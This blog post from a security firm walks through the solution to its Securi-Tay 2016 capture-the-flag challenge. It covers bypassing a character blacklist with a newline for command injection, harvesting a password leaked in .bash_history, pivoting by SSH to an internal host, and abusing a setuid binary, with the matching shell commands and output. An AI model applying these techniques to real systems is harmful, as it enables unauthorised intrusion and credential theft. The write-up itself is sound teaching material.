Pentest were pleased to return as sponsors of Securi-Tay this year, which was held at Abertay University on 26th-27th February 2016. The turnout was excellent and we thoroughly enjoyed being part of the event. Pentest ran a challenge over the course of the weekend which is still available for you to attempt here: http://securitay-v.pentest-challenge.co.uk/
The challenge is made up of three distinct phases. Each phase is successfully completed by obtaining a unique trophy string. If you are going to attempt the challenge, stop reading now! The solution is below.
This phase begins at the following URL: http://securitay-v.pentest-challenge.co.uk/
We can see that this simple application offers the capability to ping a target host name or IP address. For example, the following screenshot shows the “127.0.0.1” (localhost) being pinged:
Upon further analysis, we can see that a GET parameter “host” is being passed to the server, containing the user input (in this case the string “127.0.0.1”). It is clear that the application is taking this user input, appending it to the linux “ping” command, executing this command on the server, and then returning the command output to the user’s browser. This is definitely a good candidate for a command injection vulnerability!
A common way to exploit this issue is through the use of the semicolon (“;”) character, in order to add in a command of our own. For example, we might issue the following request in an attempt to execute the “ls” command:
Unfortunately, this results in the following response, suggesting that there is some form of Web Application Firewall (WAF) or blacklist in place:
Through further investigation, it appears that the following characters trigger the “WAF REJECTED” error:
Unfortunately this blacklist approach does negate the vast majority of command injection attacks, however, it is not perfect. If we consider the following simple bash script, multiple operating system commands are being executed, but none of the above blacklisted characters are in use:
The “command separator” within the above bash script is in fact a line break. The line break can be represented by the “\n” character, which when URL-encoded is %0a. With this in mind, we can represent a line-separated bash script as follows:
Upon executing the above URL, we are presented with the following response:
As we can see, both the ping command and the ls command have been executed – a successful exploitation of a command injection vulnerability! We can then complete phase 1 by using the cat command to read trophy1.txt:
Now that we have a basic form of control over the underlying web server, a logical next step is to “poke around” a bit and see if there are any other interesting files we can read. A good place to start is user home directories:
Based on this, we can see that a user named “bob” is present, and has a home directory of /home/bob/. Looking into this directory:
We can now see that there is a particularly interesting email located at /home/bob/newserver.eml. Let’s read the file and see what it says:
Hi Bob, As discussed, I have provisioned your access to the internal file server on 172.17.0.3. Please would you test and confirm access when you have a moment. Kind regards, Alice
So it appears that another user “Alice” has provisioned bob access to a server with IP address 172.17.0.3. A quick check of our own IP address on the webserver (172.17.0.2) reveals that 172.17.0.3 is a completely separate host:
eth0 Link encap:Ethernet HWaddr 02:42:AC:11:00:02 inet addr:172.17.0.2 Bcast:0.0.0.0 Mask:255.255.0.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:65536 Metric:1
This is all well and good, but in order to pivot to this fileserver host which is behind the firewall, we first need a more stable form of access to the web server. Let’s have a more in-depth look at bob’s home directory:
total 36 drwxr-xr-x 4 bob bob 4096 Feb 24 12:57 . drwxr-xr-x 8 root root 4096 Feb 24 12:57 .. -rw-r--r-- 1 bob bob 50 Feb 24 12:53 .bash_history -rw-r--r-- 1 bob bob 220 Apr 9 2014 .bash_logout -rw-r--r-- 1 bob bob 3637 Apr 9 2014 .bashrc drwx------ 2 bob bob 4096 Feb 22 16:46 .cache -rw-r--r-- 1 bob bob 675 Apr 9 2014 .profile drwx------ 2 bob bob 4096 Feb 24 12:52 .ssh -rw-rw-r-- 1 bob bob 185 Feb 23 11:55 newserver.eml
The hidden file .bash_history stores a user’s terminal history and is always worth looking at as it may reveal potentially sensitive information. Let’s take a look:
exit ssh email@example.com SuperAwesomePassword exit
It looks like at some point bob has tried to use ssh to connect to the file server 172.17.0.3 and has mistakenly entered his password at the wrong time, resulting in it being stored in the .bash_history file! It stands to reason that if bob’s password for 172.17.0.3 is “SuperAwesomePassword”, perhaps it may be his password for the web server as well:
danf@sentinel:~/sec$ ssh firstname.lastname@example.org email@example.com's password: Welcome to Ubuntu 14.04.4 LTS (GNU/Linux 3.13.0-52-generic x86_64) * Documentation: https://help.ubuntu.com/ Last login: Mon Mar 7 12:56:21 2016 from static44-27.adsl.bogons.net bash: groups: command not found bob@9dcf1ff83bfc:~$
From here, we can SSH to 172.17.0.3:
bob@9dcf1ff83bfc:~$ ssh firstname.lastname@example.org email@example.com's password: Welcome to Ubuntu 14.04.4 LTS (GNU/Linux 3.13.0-52-generic x86_64) * Documentation: https://help.ubuntu.com/ Last login: Mon Feb 22 16:46:55 2016 from localhost
Finally, we can read the trophy2.txt file, completing this phase:
bob@288266c34266:~$ ls trophy2.txt bob@288266c34266:~$ cat trophy2.txt 135b9b2ed7791a9fe989c9ffdb833559a84ac19d
Now that we are on a new host, it is worth doing some information gathering once more, particularly around user home directories. As shown below, there are three user home directories on this server:
bob@288266c34266:~$ ls /home alice bob dave
If we take a look in alice’s home directory, we can see the final trophy string (trophy3.txt), but there is a problem. Only alice has read access to the file, and we don’t know her password!
bob@288266c34266:~$ ls -l /home/alice total 4 -r-------- 1 alice alice 41 Feb 23 12:40 trophy3.txt
Attempting to read the file as bob will result in a permission denied error:
bob@288266c34266:~$ cat /home/alice/trophy3.txt cat: /home/alice/trophy3.txt: Permission denied
Let’s take a look at dave’s home directory:
bob@288266c34266:~$ ls -l /home/dave total 12 -r-sr-xr-x 1 alice alice 8994 Feb 23 13:17 readfile
Interesting – within dave’s home directory is a binary executeable named readfile. This file is owned by alice and the crucial permission is that the file has the SETUID bit set. By default, linux files are executed under the permissions of the user that is executing them. However, if the SETUID bit is set, the file will be executed under the permissions of the file owner, in this case alice.
Due to this permissions misconfiguration, we are able to use the readfile binary to read trophy3.txt:
bob@288266c34266:~$ /home/dave/readfile Usage: /home/dave/readfile FILENAME bob@288266c34266:~$ /home/dave/readfile /home/alice/trophy3.txt b485857bc1d357c9501ae6294888fd5e21d63ff3
The prize was a Sony Smartwatch. We had one successful challenger towards the end of the first day – Louie Augarde – congratulations Louie!
Pentest offers a thorough, yet adaptive range of security services to help customers address vulnerabilities in their network or applications. Services include: Secure Coding Workshops, SAST tools, Manual Penetration Testing and Security Audits.
Pentest offers a complete Database Security Assessment Service (DSAS) to businesses that rely on the security of the information held within their databases or have concerns relating to the security compliance of these systems.